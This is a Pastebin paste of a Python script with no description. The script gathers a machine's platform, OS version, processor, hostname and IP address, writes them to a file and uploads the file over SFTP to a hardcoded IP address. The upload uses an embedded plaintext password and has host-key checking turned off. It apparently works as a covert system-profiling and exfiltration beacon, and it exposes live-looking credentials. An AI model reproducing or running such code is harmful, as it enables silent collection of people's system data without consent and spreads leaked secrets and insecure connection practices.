Advertisement
Guest User

Untitled

a guest
Sep 24th, 2018
98
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.57 KB | None | 0 0
  1. #Importing Modules
  2. import socket
  3. from time import strftime
  4. import nt
  5. from nt import write
  6. import random
  7. import time
  8. import datetime
  9. import paramiko
  10. import pysftp as sftp
  11.  
  12. #Grabs and stores data
  13. import platform
  14. machine = platform.machine()
  15. ver = platform.version()
  16. plat = platform.platform()
  17. uname = platform.uname()
  18. sys = platform.system()
  19. proc = platform.processor()
  20. hostn = socket.gethostname()
  21. IP = socket.gethostbyname(hostn)
  22. date = datetime.datetime.today().strftime('%Y-%m-%d')
  23. remotePath = "sftp://54.201.26.36/sftpuser"
  24. password = "Z&@9u$^NhTX%CCdtbDM7zXyBKRn=^z9dVy=*sqZ&k?dZ5cL%JkLMC#q6vFYTL&UE+*b^&Pn5DYj#ZKfjG5sA!xcMrPu5+jq$wX&pJ*m^28fY-5Fb4a2AhcEx9JtRVJVc"
  25. print (machine)
  26. print (ver)
  27. print (plat)
  28. print (uname)
  29. print (sys)
  30. print (proc)
  31. print (date)
  32.  
  33. UserData = open("Output"+hostn+date+".txt", "w",)
  34. FileName = "Output"+hostn+date+".txt"
  35. UserData.write("info: \nMachine: "+machine+"\nVersion: "+ver+"\n"+plat+"\nSystem: "+sys+"\nProcessor: "+proc+"\nDate: "+date+"\nIP: "+IP)
  36.  
  37. UserData.close()
  38.  
  39. def push_file_to_server():
  40.     cnopts = sftp.CnOpts()
  41.     cnopts.hostkeys = None
  42.     s = sftp.Connection(host='54.201.26.36', username='sftpuser', password='Z&@9u$^NhTX%CCdtbDM7zXyBKRn=^z9dVy=*sqZ&k?dZ5cL%JkLMC#q6vFYTL&UE+*b^&Pn5DYj#ZKfjG5sA!xcMrPu5+jq$wX&pJ*m^28fY-5Fb4a2AhcEx9JtRVJVc', cnopts=cnopts)
  43.     localpath1 = 'C:\\temp\\Output' + hostn + date + '.txt'
  44.     local_path = localpath1+"Output"+hostn+date+".txt"
  45.     myremote_path = 'sftpuser/ ' + hostn + date + '.txt'
  46.  
  47.     s.put(FileName, myremote_path)
  48.     s.close()
  49.  
  50. push_file_to_server()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement